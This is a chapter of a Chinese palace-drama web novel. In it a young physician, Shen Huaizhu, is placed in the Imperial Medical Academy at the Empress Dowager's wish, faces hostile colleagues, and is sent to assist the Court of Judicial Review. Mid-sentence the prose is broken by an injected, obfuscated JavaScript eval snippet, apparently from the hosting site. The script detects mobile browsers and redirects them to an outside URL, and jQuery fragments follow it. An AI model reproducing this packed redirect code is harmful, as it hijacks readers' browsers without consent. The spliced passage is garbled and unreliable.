沈怀珠居住的地方就在太后隔壁的偏殿。太后特意吩咐常嬷嬷给她收拾出来,供她住。连日的针灸汤药下来,太后的身子好了许多。
照常请过脉,准备针灸的时候,太后突然问,“你想进太医院?”
沈怀珠顿住,捏着银针的两根手指微微颤动。脑子里飞快闪过各种理由,企图蒙混过关。
但在她作出回答前,太后已经了然于心。
“哀家岁数大了,时常有个病痛。太医院那些个人迂腐的很,瞧病瞧得也不出色。皇帝差人到宫外花大心思寻大夫,好容易找到一个合哀家心意的,沈姑娘,你可愿意留在太医院,留在宫里,时时陪着我这个老婆子?”
耳边的言语清晰,每个字她都认识,连成一句话却让她半天没反应过来。
“我?太医院?”
太后轻轻歪头,竟有几分鲜活的狡黠,“怎么,不愿意?”
如梦初醒,沈怀珠连忙俯身叩首,“愿意,民女愿意,谢太后娘娘垂怜。”
常嬷嬷端着一盘切好的香瓜走进来,笑眯眯地看着两人说:“远远瞧着还以为是祖孙两个呢!”
沈怀珠挪了挪身子,佯装生气道,“常嬷嬷你又打我打趣!”
相处了这些时日,沈怀珠早就摸清寿康宫诸位的习性,在不同的人面前,有不同的状态。譬如常嬷嬷,瞧着凶巴巴的不好伺候,实则极热心慈爱,对她关怀有佳。沈怀珠越是这般“没大没小”,越能哄得常嬷嬷哈哈大笑。
秋月则内外一致,都是稳重周全的模样。她是寿康宫的大宫女,自然有些不可近身的威严,沈怀珠对她畏惧有余,多数时候能躲就躲。偏偏不知怎的,秋月的眼睛仿佛长在她身上,任何时间、任何地点,总能准确无误地找到她。
起先沈怀珠怕泄露什么,十分戒备。随着日子推移,发现秋月并没有发现她的异常,这才渐渐放轻松。
寝殿内笑作一团,给太后下完针,沈怀珠熟稔地接过常嬷嬷手里的香瓜,语重心长地面向太后,“香瓜性味偏寒,您的身子才转好没多久,不宜吃。”
太后丝毫没有因为这话感到失望,反倒笑吟吟地道,“既然大夫都这么说了,哀家只好忌口。”
常嬷嬷会意一笑,转而作皱眉苦恼状,“可是这香瓜放不得,岂不白白浪费?”
太后佯装惊讶,“哦?那倒是不好。佛经有言,惜衣惜食,非为惜财缘惜福。平白糟蹋了这些香瓜,实在造孽。”
“你的风寒还没好,也不能吃。这可如何是好呢?”
沉思片刻,常嬷嬷顿时恍然,“咱们这儿不是还有个人嘛!不然您赏给她吃,可好?”
太后:“沈姑娘,那就赏给你吃吧。”
“谢太后娘娘。”
目光落在跪恩女子的纤细挺直的脊背,太后眼底的心疼缓缓浮现。
“起来吧。”
女子起身的瞬间,太后又迅速恢复如常。
短暂地变化都落在常嬷嬷眼里,待沈怀珠出去后,她才敢开口,“小……沈姑娘的容貌和她母亲太过相似,留在宫里太过惹眼。要是被哪个有心的注意到就糟了。”
太后何尝不知,可她实在不舍,也不愿放沈怀珠离开。她年岁已高,不知还有几个昼夜,此时放走沈怀珠,今生都再难相见。原本她下定决心,尽快把人送出宫,谁知秋月来报,她这个小孙女想去太医院供职。为了留在宫里,愁得夜里睡不着觉。
便是想要星星月亮,她都想法子给这孩子摘。只是留在宫里,进太医院而已,不是什么难事。
能留下,她就护得住。
夏日悄然靠近,空气干燥灼热的多。太医院设在皇宫东侧,独立一间院落。
菱花窗开了一条缝,隐约传出谈话声。
“真要塞进来?简直荒唐!”
“没办法,谁让人家背靠大树,好乘凉。”
“除了生药局,咱们这行当就没女的。现在让她来太医院做什么,难不成真让她挂了招牌给贵人看病?”
一向在这种事上反应最激烈的郑如焕,破天荒闭口不言。坐在人群里,他好像看不到也听不到周围的不忿,一心只盯着手里的医书。
太医院里年级最轻,说话却最有分量的黄安等得实在不耐,一把抽走医书,“郑院使,你倒是说句话
啊!”
郑如焕缓缓抬眼,环视周围一圈。都是一把年纪的人,在宫里服侍这么久,却个个这么沉不住气,怨不得寿康宫那位不愿意用。
因着寿康宫,圣上近来对他们也是不咸不淡。
“怎么停了?接着吵,最好把这太医院的房顶都掀下来,好叫寿康宫那位给咱们低头认错儿,再叫圣上亲自下口谕,把人给逐出宫。”郑如焕淡声道。
在场众人噎了一噎,这话说的可谓是直戳人肺管子。谁不知道圣上最敬重的就是寿康宫那位。而且那位素来不问世事,一心将自个儿关在寝殿礼佛。好容易穿了一句口谕,圣上高兴还来不及,怎么会驳斥。
“可是,一个女子懂什么医理药理,先前给太后下毒,简直是居心叵测,大逆不道!”
“太后愿意,你待如何?”
“这……”一番话说下来,众人哑口无言,只能挨个拂袖叹气。
黄安气得坐下:“那就没有一点办法了么?任由一个狗屁不通的女子骑到咱们头上?”
郑如焕:“急什么?”
“能来太医院是人家的本事,能让她待多久,是咱们的本事。”郑如焕云淡风轻,“到时候自己求着离开太医院,便和咱们无关了。”
话说的这般明白,在场人哪有听不懂的。方才还急得团团转,突然拨云见雾,看到希望,个个都高兴起来。
“还是郑院使想得周全,那咱们就静候佳音。”黄安弯了弯唇。
绞尽脑汁,总算如愿得进太医院,沈怀珠的心情久久难平静。每往前走一步,就离当年的真相更近一步,她心怀忐忑,摸黑往前慢慢挪动。
站在太医院门口,抬起头,望向漆色牌匾上的金笔御书,沈怀珠五味杂陈。短短片刻,她想到了爹娘,哥哥,还有师父。
千里外的浮玉山,师父是否感知到她的违逆之举,又是否决定将她逐出师门?
千丝万
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800847|167411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缕的琐碎心事编织成结,拥堵在心间。沈怀珠深吸了一口气,推开太医院沉重的大门。
“有人吗?”
和预想的完全不同,除了廊下晾着的几箩筐药材旁边趴着的猫儿,里里外外没有半个活人。偌大的院落,空旷安静,只留她的余音。
“民女沈氏怀珠,奉太后娘娘之命前来太医院供职。”
来之前沈怀珠就预料不会太顺利,预先设想好应对刁难的法子,如今全用不上。院里依旧静悄悄,即便她搬出太后来强压,也激不起半朵浪花。
既然如此,她也不必再客客气气。
直奔正中紧闭的房门,沈怀珠一把推开,迈进门槛。不出她所料,房里果然有七八个人,正围在一起研究医案。
门骤然被推开,却无人抬头看一眼。
明摆着是在给她下马威。
沈怀珠丝毫不惧,大步走到他们面前,放下手里的包袱,指着医案道,“肾气亏损,胎失所养,自然会滑胎。只要把方子里的人参换成当归,加大砂仁的用量,就能解决。”
“胡闹!砂仁的用量怎可肆意增减?贵人们的身子经不起这么补,休要在这儿胡言乱语!”出声训斥的是个年轻太医。
沈怀珠也不争辩,“随你们的便,一群迂腐老顽固。”
“你骂谁!”前一秒还沉浸在医案里不能自拔,两耳不闻窗外事的七八个人,突然犹如被踩了尾巴的猫儿,纷纷气得跳脚。
“谁生气就是骂谁。”沈怀珠眨了眨眼,作出天真无辜的神情,更是将人气得没法子。
黄安:“这里是太医院,谁允许你进来的?”
“总算问到这儿了。”沈怀珠点点头,赞许地道,“圣上和太后要我来的,怎么,太医院的权利这般大,连圣上和太后的话也听不得?”
“一个女子不想着赶紧嫁人,留在家中相夫教子,跑到我们这男人堆做什么?真是不守妇道!”黄安身边一个年纪稍长的男子斥道。
“你们瞧病的本事就这么点,我若不来的话,恐怕赶明儿全都要掉脑袋。”
“口气倒是不小。”
声音的主人在沈怀珠的身后,她回头,太医院院使郑如焕不知何时走过来,冷眼盯着她。
“民女沈氏怀珠,奉太后娘娘之命前来太医院供职,见过郑院使。”
郑如焕打量她一眼,“进了太医院,要时刻注意言行。刚才那些话,我不希望再听到第二遍。”
虽然不大愉快,但终于留下。沈怀珠心情舒畅,熟悉环境的同时也在时刻留意各位同僚。想在这里彻底站稳脚跟,单凭她自己的本事远远不够,最好能找个盟友。
盟友还没找到,活儿先派来。郑如焕亲自来找,沈怀珠颇有些受宠若惊。
“沈姑娘,你初来乍到,对宫里的贵人们不太熟悉,不如先从宫外琐碎的活儿做起,如何?”
沈怀珠没意见,“但凭院使差遣。”
“才接到消息,有个衙门碰到个棘手的案子,需要咱们太医院协助。你现在收拾一下去吧。”
“哪个衙门?”
“大理寺。”